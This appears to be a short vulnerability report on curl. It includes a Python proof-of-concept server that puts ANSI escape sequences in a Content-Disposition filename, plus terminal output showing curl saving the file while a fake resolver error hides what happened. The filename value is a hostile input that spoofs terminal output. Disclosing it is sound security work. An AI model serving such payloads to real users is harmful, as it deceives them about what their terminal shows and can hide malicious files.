Terminal Output Not Great

How it was found

Summary:

No AI here, I just came across this:

import random
import string
from http.server import BaseHTTPRequestHandler, HTTPServer

class MaliciousHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        
        rand_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
        fake_error = "curl: (6) Could not resolve host: google.com"
        
        malicious_filename = f"{rand_id}\033[1G\033[2K\033[A\033[2K\033[A\033[2K{fake_error}"
        self.send_header('Content-Disposition', f'attachment; filename="{malicious_filename}"')
        self.end_headers()    
        self.wfile.write(b"curl rocks")

if __name__ == '__main__':
    server_address = ('', 8080)
    httpd = HTTPServer(server_address, MaliciousHandler)
    httpd.serve_forever()

❯ curl -J -O -w "Saved to: %{filename_effective}\n" http://localhost:8080/somefile
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
curl: (6) Could not resolve host: google.com

❯ ls -al
total 16
drwxr-xr-x  4 kelsier  staff   128 10 Dec 01:57 .
drwxr-xr-x  4 kelsier  staff   128 10 Dec 01:07 ..
-rw-r--r--  1 kelsier  staff    33 10 Dec 01:57 5152c4jl?[1G?[2K?[A?[2K?[A?[2Kcurl: (6) Could not resolve host: google.com
-rw-r--r--  1 kelsier  staff  1550 10 Dec 01:57 salsa.py

❯ zsh --version
zsh 5.9 (arm64-apple-darwin24.0)

Impact

Summary:

/me thinks this might be problematic?